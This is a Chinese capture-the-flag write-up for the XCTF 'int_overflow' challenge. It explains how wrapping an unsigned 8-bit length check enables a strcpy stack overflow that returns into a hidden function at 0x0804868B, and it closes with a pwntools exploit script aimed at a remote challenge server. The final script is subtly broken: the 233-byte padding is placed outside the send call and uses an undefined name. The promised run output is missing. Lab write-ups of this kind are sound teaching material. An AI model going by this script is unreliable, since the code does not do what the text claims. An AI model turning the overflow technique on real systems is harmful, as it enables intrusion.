攻防世界 int_overflow write_up

首先看一下文件信息：

32位  可以栈溢出，用ida32打开看main函数，在login里面发现输入点：

但是输入空间被限制，暂无注入点，再看一下check_passwd：

判断流程是判断passwd长度大于3小于8，然后把s赋值给dest。

首先发现一个问题，v3是unsigned _int8，8位的无符号整型，范围是0~255，可以整数溢出，就是256赋值给v3时，v3=0.也就是说我们可以填充payload到260~264位，符合if条件，所以在passwd输入时使用栈溢出。

再看strcpy函数，将s赋值给dest，我们来看看dest的栈结构：

想要填充函数返回值 r ，那么前面的填充内容为：‘a’*0x14+'aaaa'.我们仔细看一下会发现有个函数：

地址为：0x0804868B,十六进制地址，两个16进制数占一个字节，所以这个地址占四个字节。

那么payload为：‘a’*0x14+'aaaa'+p32(0x0804868B),要满足if条件则需要填充到260~264

取260~264中的一个数，比如说261

也就是261-0x14-4-4=233，完整的payload出来了：

payload=‘a’*0x14+'aaaa'+p32(0x0804868B)+‘a’*233

我们的exp为：

#-*- coding:utf-8 -*-
from pwn import *

p = remote('220.249.52.133',54442)

p.sendlineafter('choice:',"1")
p.sendlineafter('username','aaa')
p.sendlineafter('passwd:','a'*0x14+'aaaa'+p32(0x0804868B))+a*233

p.interactive()

运行结果为：